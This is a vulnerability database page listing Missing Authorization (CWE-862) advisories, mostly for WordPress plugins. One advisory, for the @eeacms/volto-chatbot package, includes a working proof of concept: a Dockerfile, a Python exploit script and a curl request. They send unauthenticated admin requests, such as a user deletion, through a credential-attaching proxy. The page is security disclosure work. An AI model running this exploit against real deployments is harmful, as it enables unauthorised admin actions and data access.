CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
20281 vulnerabilities reference this CWE, most recent first.
GHSA-W9J3-MF3M-82PJ
Vulnerability from github – Published: 2026-08-05 06:30 – Updated: 2026-08-05 06:30The Cost Calculator Builder plugin for WordPress is vulnerable to unauthorized access of sensitive data due to a missing capability check on the cost-calculator-custom-export-run AJAX action (handler CCBExportImport::export_calculators()) in all versions up to, and including, 3.6.17. The handler only verifies a nonce, but the corresponding ccb_export_nonce is broadcast on every wp-admin page (including pages reachable to Subscribers, such as /wp-admin/profile.php) by the ccb_add_admin_nonces callback hooked to admin_head. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export every calculator's full configuration — including stored Stripe secret keys, PayPal client secrets, Razorpay secret keys, webhook secret keys, and reCAPTCHA secret keys.
{
"affected": [],
"aliases": [
"CVE-2026-7753"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T06:16:40Z",
"severity": "MODERATE"
},
"details": "The Cost Calculator Builder plugin for WordPress is vulnerable to unauthorized access of sensitive data due to a missing capability check on the `cost-calculator-custom-export-run` AJAX action (handler `CCBExportImport::export_calculators()`) in all versions up to, and including, 3.6.17. The handler only verifies a nonce, but the corresponding `ccb_export_nonce` is broadcast on every wp-admin page (including pages reachable to Subscribers, such as `/wp-admin/profile.php`) by the `ccb_add_admin_nonces` callback hooked to `admin_head`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export every calculator\u0027s full configuration \u2014 including stored Stripe secret keys, PayPal client secrets, Razorpay secret keys, webhook secret keys, and reCAPTCHA secret keys.",
"id": "GHSA-w9j3-mf3m-82pj",
"modified": "2026-08-05T06:30:33Z",
"published": "2026-08-05T06:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7753"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.17/includes/classes/CCBExportImport.php#L308"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.17/includes/install.php#L129"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.17/includes/install.php#L24"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.17/includes/install.php#L77"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/trunk/includes/classes/CCBExportImport.php#L308"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?new=3531960%40cost-calculator-builder%2Ftrunk\u0026old=3528688%40cost-calculator-builder%2Ftrunk"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/89de168e-1bce-4e11-a765-afc1d7dce8fe?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9P9-XCRG-C8JV
Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-16 18:32Missing Authorization vulnerability in PublishPress PublishPress Capabilities capability-manager-enhanced allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PublishPress Capabilities: from n/a through <= 2.31.0.
{
"affected": [],
"aliases": [
"CVE-2026-32394"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-13T19:54:54Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in PublishPress PublishPress Capabilities capability-manager-enhanced allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PublishPress Capabilities: from n/a through \u003c= 2.31.0.",
"id": "GHSA-w9p9-xcrg-c8jv",
"modified": "2026-03-16T18:32:03Z",
"published": "2026-03-13T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32394"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/capability-manager-enhanced/vulnerability/wordpress-publishpress-capabilities-plugin-2-31-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9RP-VXW4-RQ3M
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31Missing Authorization vulnerability in PI Web Solution Live sales notification for WooCommerce live-sales-notifications-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Live sales notification for WooCommerce: from n/a through <= 2.3.46.
{
"affected": [],
"aliases": [
"CVE-2026-27066"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:27Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in PI Web Solution Live sales notification for WooCommerce live-sales-notifications-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Live sales notification for WooCommerce: from n/a through \u003c= 2.3.46.",
"id": "GHSA-w9rp-vxw4-rq3m",
"modified": "2026-02-19T18:31:53Z",
"published": "2026-02-19T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27066"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/live-sales-notifications-for-woocommerce/vulnerability/wordpress-live-sales-notification-for-woocommerce-plugin-2-3-44-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9RW-28H3-4F32
Vulnerability from github – Published: 2026-10-15 18:32 – Updated: 2026-10-15 18:32Missing Authorization vulnerability in WordLift Srl WordLift wordlift allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordLift: from n/a through 3.54.15.
{
"affected": [],
"aliases": [
"CVE-2026-110891"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-15T18:17:26Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WordLift Srl WordLift wordlift allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordLift: from n/a through 3.54.15.",
"id": "GHSA-w9rw-28h3-4f32",
"modified": "2026-10-15T18:32:45Z",
"published": "2026-10-15T18:32:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110891"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wordlift/vulnerability/wordpress-wordlift-plugin-3-54-15-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9VC-Q9HH-6G37
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in ExpressTech Quiz And Survey Master allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Quiz And Survey Master: from n/a through 8.1.10.
{
"affected": [],
"aliases": [
"CVE-2023-37984"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T15:15:18Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in ExpressTech Quiz And Survey Master allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Quiz And Survey Master: from n/a through 8.1.10.",
"id": "GHSA-w9vc-q9hh-6g37",
"modified": "2026-04-28T21:35:24Z",
"published": "2024-12-13T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37984"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-8-1-10-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9W8-M92G-FR8F
Vulnerability from github – Published: 2024-01-11 09:30 – Updated: 2024-01-11 09:30The Manage Notification E-mails plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.8.5 via the card_famne_export_settings function. This makes it possible for unauthenticated attackers to obtain plugin settings.
{
"affected": [],
"aliases": [
"CVE-2023-6496"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-11T09:15:48Z",
"severity": "MODERATE"
},
"details": "The Manage Notification E-mails plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.8.5 via the card_famne_export_settings function. This makes it possible for unauthenticated attackers to obtain plugin settings.",
"id": "GHSA-w9w8-m92g-fr8f",
"modified": "2024-01-11T09:30:35Z",
"published": "2024-01-11T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6496"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3007199%40manage-notification-emails%2Ftrunk\u0026old=2920034%40manage-notification-emails%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/048bc117-88df-44b3-a30c-692bad23050f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9WR-7RJV-GFMX
Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35Missing Authorization vulnerability in Roxnor FundEngine wp-fundraising-donation allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FundEngine: from n/a through <= 1.7.6.
{
"affected": [],
"aliases": [
"CVE-2026-57406"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T10:16:34Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Roxnor FundEngine wp-fundraising-donation allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FundEngine: from n/a through \u003c= 1.7.6.",
"id": "GHSA-w9wr-7rjv-gfmx",
"modified": "2026-07-13T12:35:03Z",
"published": "2026-07-13T12:35:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57406"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-fundraising-donation/vulnerability/wordpress-fundengine-plugin-1-7-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W9X9-J56R-H98R
Vulnerability from github – Published: 2026-10-29 16:35 – Updated: 2026-10-29 16:35Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot
Summary
@eeacms/volto-chatbot exposes an Express middleware route (**/_v1_da/**) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.
Details
The vulnerability is introduced across two source files in @eeacms/volto-chatbot@2.0.3.
Route registration (src/index.js:15):
middleware.all('**/_v1_da/**', proxyMiddleware);
The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before proxyMiddleware. This means all requests reaching any /_v1_da/ path are forwarded without any identity check.
Unvalidated path extraction and upstream URL construction (src/middleware.js:228-230):
const path = req.url.replace('/_v1_da/', '/');
const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;
The attacker-controlled req.url is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.
Credential attachment and forwarding (src/middleware.js:164, src/middleware.js:169, src/middleware.js:202):
// Session-cookie path (line 164):
headers = { Cookie: cached_auth_cookie, ... }
// API-key path (line 169):
Authorization: 'Bearer ' + api_key,
// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);
After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a Bearer API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.
Complete data flow (source → sink):
src/index.js:15— all**/_v1_da/**paths registered toproxyMiddlewarewith no auth guard (source: external HTTP request).src/middleware.js:228—req.urlused directly to derive the upstream path without allowlist.src/middleware.js:230— attacker-controlled path appended to${DANSWER_URL}/api.src/middleware.js:164/src/middleware.js:169— server-side session cookie or API key attached.src/middleware.js:202—fetch(url, options, req.body)sends the fully-credentialed request to the Danswer backend (sink).
This vulnerability is present whenever the add-on middleware is installed and DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD is configured — conditions required for normal, documented operation of the package.
PoC
The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.
Prerequisites:
- Docker installed
- Python 3 with the requests library
Step 1 — Build the Docker image (from the npmAI_719_eea__volto-chatbot/ parent directory):
docker build \
-f vuln-001/Dockerfile \
-t vuln001-proxy \
reports/npmAI_719_eea__volto-chatbot
The image packages the unmodified src/middleware.js from @eeacms/volto-chatbot@2.0.3, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable DANSWER_API_KEY=supersecret is set to simulate a real deployment.
Step 2 — Start the container:
docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.
Step 3 — Run the PoC exploit script:
python3 vuln-001/poc.py 127.0.0.1 3000
What the script does:
1. Waits for the proxy to accept TCP connections.
2. Sends an unauthenticated POST request with a JSON body to the admin-only Danswer endpoint via the proxy:
POST http://127.0.0.1:3000/_v1_da/admin/users/delete
Content-Type: application/json
{"id": "victim-user-123"}
No Authorization or Cookie header is sent by the client.
Expected output (exploit confirmed):
[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
3. Attacker-controlled HTTP method forwarded : method='POST'
The mock Danswer server receives POST /api/admin/users/delete with Authorization: Bearer supersecret — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.
Equivalent manual curl command (without Docker):
# Terminal 1 — mock Danswer server
node - <<'NODE'
require('http').createServer((req, res) => {
let b = ''; req.on('data', c => b += c);
req.on('end', () => {
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({
method: req.method, url: req.url,
authorization: req.headers.authorization || null,
body: b
}));
});
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE
# Terminal 2 — Volto with Danswer credentials configured
DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start
# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \
-H 'Content-Type: application/json' \
--data '{"id":"victim-user-123"}'
The response body will contain "authorization":"Bearer secret" and "url":"/api/admin/users/delete", confirming the Confused Deputy.
Impact
This is a Confused Deputy / Missing Authorization vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.
Who is impacted:
Any deployment of @eeacms/volto-chatbot that:
- has the package's Express middleware installed (default when the add-on is active), AND
- has DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD configured (required for the add-on to function at all).
Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.
Concrete attacker capabilities depend on the Danswer service account's permissions but include:
- High Confidentiality impact — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.
- Low–High Integrity impact — invoking write/mutate endpoints such as
POST /admin/users/delete,POST /chat/create-chat-session, or any other writable Danswer API path as the service account. - No Authentication required — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.
The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
#
# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)
# docker build -f vuln-001/Dockerfile -t vuln001-proxy .
#
# Run:
# docker run --rm -p 3000:3000 vuln001-proxy
FROM node:18-alpine
WORKDIR /app
# Install production dependencies required by the vulnerable middleware and test harness
RUN npm init -y && npm install --save \
express@4 \
superagent@8 \
node-fetch@2 \
debug@4 \
@babel/core@7 \
@babel/register@7 \
@babel/preset-env@7
# Copy the vulnerable middleware source (unmodified from repo)
COPY repo/src/middleware.js /app/src/middleware.js
# Copy the test harness
COPY vuln-001/test_server.js /app/test_server.js
# Point the proxy at the in-container mock Danswer server.
# DANSWER_API_KEY is the secret the server attaches to every upstream request.
ENV DANSWER_URL=http://127.0.0.1:18080
ENV DANSWER_API_KEY=supersecret
EXPOSE 3000
CMD ["node", "test_server.js"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept: VULN-001
Title: Unauthenticated Danswer API Confused Deputy Proxy
CWE: CWE-862 — Missing Authorization
CVSS: 8.2 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Vulnerability:
src/index.js:15 registers middleware.all('**/_v1_da/**', proxyMiddleware)
with NO authentication guard. src/middleware.js:228-230 derives the
upstream Danswer API path directly from req.url without any allowlist,
then attaches the server-side DANSWER_API_KEY (or session cookie) before
calling fetch(). An unauthenticated attacker therefore controls:
- the upstream Danswer API path (e.g. /admin/users/delete)
- the HTTP method (POST, DELETE, …)
- the request body
while the server silently adds its own credentials.
Exploit flow:
Attacker --(unauthenticated POST /_v1_da/admin/users/delete)--> Volto proxy
Volto proxy --(POST /api/admin/users/delete Authorization: Bearer <key>)--> Danswer
Usage:
python3 poc.py [proxy_host] [proxy_port]
Default: 127.0.0.1 3000
"""
import json
import socket
import sys
import time
import requests
# ── Configuration ──────────────────────────────────────────────────────────────
PROXY_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PROXY_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000
PROXY_BASE = f"http://{PROXY_HOST}:{PROXY_PORT}"
# Attacker-chosen admin-only endpoint — no credentials sent by the client.
ATTACK_PATH = "/_v1_da/admin/users/delete"
ATTACK_PAYLOAD = {"id": "victim-user-123"}
# ── Helpers ────────────────────────────────────────────────────────────────────
def wait_for_port(host: str, port: int, timeout: int = 40) -> bool:
"""Return True when a TCP connection succeeds within *timeout* seconds."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=1):
return True
except OSError:
time.sleep(1)
return False
def run_exploit() -> bool:
print("=" * 64)
print("VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy")
print("=" * 64)
print(f"[*] Proxy base : {PROXY_BASE}")
print(f"[*] Attack path : {ATTACK_PATH}")
print(f"[*] Attack body : {json.dumps(ATTACK_PAYLOAD)}")
print(f"[*] No client auth headers will be sent.")
print()
# Wait for the proxy server to accept connections.
print(f"[*] Waiting for proxy on {PROXY_HOST}:{PROXY_PORT} ...")
if not wait_for_port(PROXY_HOST, PROXY_PORT, timeout=40):
print("[-] Proxy did not become reachable within 40 s. FAIL.")
return False
print("[+] Proxy is reachable.")
# Additional brief wait to let the Node event loop fully initialise.
time.sleep(1)
# Send the exploit request — zero client-side authentication.
exploit_url = f"{PROXY_BASE}{ATTACK_PATH}"
print(f"[*] Sending unauthenticated POST → {exploit_url}")
try:
resp = requests.post(
exploit_url,
json=ATTACK_PAYLOAD,
headers={"Content-Type": "application/json"},
timeout=20,
)
except requests.exceptions.RequestException as exc:
print(f"[-] HTTP request failed: {exc}")
return False
print(f"[*] HTTP status : {resp.status_code}")
print(f"[*] HTTP body : {resp.text[:800]}")
print()
# Parse the echo from the mock Danswer server.
try:
body = resp.json()
except ValueError:
print("[-] Response is not valid JSON — cannot verify exploit. FAIL.")
return False
auth_header = body.get("authorization") or ""
upstream_url = body.get("url") or ""
method = body.get("method") or ""
print("[*] Fields echoed by mock Danswer upstream:")
print(f" method : {method!r}")
print(f" url : {upstream_url!r}")
print(f" authorization : {auth_header!r}")
print()
# Decisive evidence criteria:
# 1. Attacker-supplied path reached the upstream server.
# 2. Server-side API key was attached without any client credential.
# 3. Attacker-supplied HTTP method was forwarded.
path_proxied = "/api/admin/users/delete" in upstream_url
cred_attached = "Bearer supersecret" in auth_header
method_correct = method == "POST"
if path_proxied and cred_attached and method_correct:
print("[+] === EXPLOIT CONFIRMED — PASS ===")
print("[+] Decisive evidence:")
print(f" 1. Attacker-controlled path reached upstream : url={upstream_url!r}")
print(f" 2. Server-side API key forwarded (no client auth) : authorization={auth_header!r}")
print(f" 3. Attacker-controlled HTTP method forwarded : method={method!r}")
return True
else:
print("[-] === EXPLOIT NOT CONFIRMED — FAIL ===")
if not path_proxied:
print(f" MISSING: /api/admin/users/delete not found in url={upstream_url!r}")
if not cred_attached:
print(f" MISSING: 'Bearer supersecret' not found in authorization={auth_header!r}")
if not method_correct:
print(f" MISSING: expected method=POST, got {method!r}")
return False
if __name__ == "__main__":
success = run_exploit()
sys.exit(0 if success else 1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@eeacms/volto-chatbot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-29T16:35:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot\n\n### Summary\n\n`@eeacms/volto-chatbot` exposes an Express middleware route (`**/_v1_da/**`) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (`DANSWER_API_KEY` or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations \u2014 including privileged admin endpoints \u2014 as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.\n\n### Details\n\nThe vulnerability is introduced across two source files in `@eeacms/volto-chatbot@2.0.3`.\n\n**Route registration (`src/index.js:15`):**\n\n```js\nmiddleware.all(\u0027**/_v1_da/**\u0027, proxyMiddleware);\n```\n\nThe wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before `proxyMiddleware`. This means all requests reaching any `/_v1_da/` path are forwarded without any identity check.\n\n**Unvalidated path extraction and upstream URL construction (`src/middleware.js:228-230`):**\n\n```js\nconst path = req.url.replace(\u0027/_v1_da/\u0027, \u0027/\u0027);\nconst reqUrl = `${process.env.DANSWER_URL || \u0027\u0027}/api${path}`;\n```\n\nThe attacker-controlled `req.url` is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.\n\n**Credential attachment and forwarding (`src/middleware.js:164`, `src/middleware.js:169`, `src/middleware.js:202`):**\n\n```js\n// Session-cookie path (line 164):\nheaders = { Cookie: cached_auth_cookie, ... }\n\n// API-key path (line 169):\nAuthorization: \u0027Bearer \u0027 + api_key,\n\n// Sink \u2014 final upstream dispatch (line 202):\nconst response = await fetch(url, options, req.body);\n```\n\nAfter constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a `Bearer` API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.\n\n**Complete data flow (source \u2192 sink):**\n\n1. `src/index.js:15` \u2014 all `**/_v1_da/**` paths registered to `proxyMiddleware` with no auth guard (source: external HTTP request).\n2. `src/middleware.js:228` \u2014 `req.url` used directly to derive the upstream path without allowlist.\n3. `src/middleware.js:230` \u2014 attacker-controlled path appended to `${DANSWER_URL}/api`.\n4. `src/middleware.js:164` / `src/middleware.js:169` \u2014 server-side session cookie or API key attached.\n5. `src/middleware.js:202` \u2014 `fetch(url, options, req.body)` sends the fully-credentialed request to the Danswer backend (sink).\n\nThis vulnerability is present whenever the add-on middleware is installed and `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` is configured \u2014 conditions required for normal, documented operation of the package.\n\n### PoC\n\nThe following steps reproduce the vulnerability using the Docker-based test harness provided with this report.\n\n**Prerequisites:**\n- Docker installed\n- Python 3 with the `requests` library\n\n**Step 1 \u2014 Build the Docker image (from the `npmAI_719_eea__volto-chatbot/` parent directory):**\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t vuln001-proxy \\\n reports/npmAI_719_eea__volto-chatbot\n```\n\nThe image packages the unmodified `src/middleware.js` from `@eeacms/volto-chatbot@2.0.3`, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable `DANSWER_API_KEY=supersecret` is set to simulate a real deployment.\n\n**Step 2 \u2014 Start the container:**\n\n```bash\ndocker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy\n```\n\nThis launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.\n\n**Step 3 \u2014 Run the PoC exploit script:**\n\n```bash\npython3 vuln-001/poc.py 127.0.0.1 3000\n```\n\n**What the script does:**\n1. Waits for the proxy to accept TCP connections.\n2. Sends an unauthenticated `POST` request with a JSON body to the admin-only Danswer endpoint via the proxy:\n\n```\nPOST http://127.0.0.1:3000/_v1_da/admin/users/delete\nContent-Type: application/json\n\n{\"id\": \"victim-user-123\"}\n```\n\nNo `Authorization` or `Cookie` header is sent by the client.\n\n**Expected output (exploit confirmed):**\n\n```\n[+] === EXPLOIT CONFIRMED \u2014 PASS ===\n[+] Decisive evidence:\n 1. Attacker-controlled path reached upstream : url=\u0027/api/admin/users/delete\u0027\n 2. Server-side API key forwarded (no client auth) : authorization=\u0027Bearer supersecret\u0027\n 3. Attacker-controlled HTTP method forwarded : method=\u0027POST\u0027\n```\n\nThe mock Danswer server receives `POST /api/admin/users/delete` with `Authorization: Bearer supersecret` \u2014 proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.\n\n**Equivalent manual curl command (without Docker):**\n\n```bash\n# Terminal 1 \u2014 mock Danswer server\nnode - \u003c\u003c\u0027NODE\u0027\nrequire(\u0027http\u0027).createServer((req, res) =\u003e {\n let b = \u0027\u0027; req.on(\u0027data\u0027, c =\u003e b += c);\n req.on(\u0027end\u0027, () =\u003e {\n res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027);\n res.end(JSON.stringify({\n method: req.method, url: req.url,\n authorization: req.headers.authorization || null,\n body: b\n }));\n });\n}).listen(18080, () =\u003e console.log(\u0027mock Danswer on :18080\u0027));\nNODE\n\n# Terminal 2 \u2014 Volto with Danswer credentials configured\nDANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start\n\n# Terminal 3 \u2014 unauthenticated exploit request\ncurl -i -X POST \u0027http://localhost:3000/_v1_da/admin/users/delete\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"id\":\"victim-user-123\"}\u0027\n```\n\nThe response body will contain `\"authorization\":\"Bearer secret\"` and `\"url\":\"/api/admin/users/delete\"`, confirming the Confused Deputy.\n\n### Impact\n\nThis is a **Confused Deputy / Missing Authorization** vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.\n\n**Who is impacted:**\n\nAny deployment of `@eeacms/volto-chatbot` that:\n- has the package\u0027s Express middleware installed (default when the add-on is active), AND\n- has `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` configured (required for the add-on to function at all).\n\nBecause these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.\n\n**Concrete attacker capabilities depend on the Danswer service account\u0027s permissions but include:**\n\n- **High Confidentiality impact** \u2014 reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.\n- **Low\u2013High Integrity impact** \u2014 invoking write/mutate endpoints such as `POST /admin/users/delete`, `POST /chat/create-chat-session`, or any other writable Danswer API path as the service account.\n- **No Authentication required** \u2014 the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.\n\nThe vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 PoC \u2014 Unauthenticated Danswer API Confused Deputy 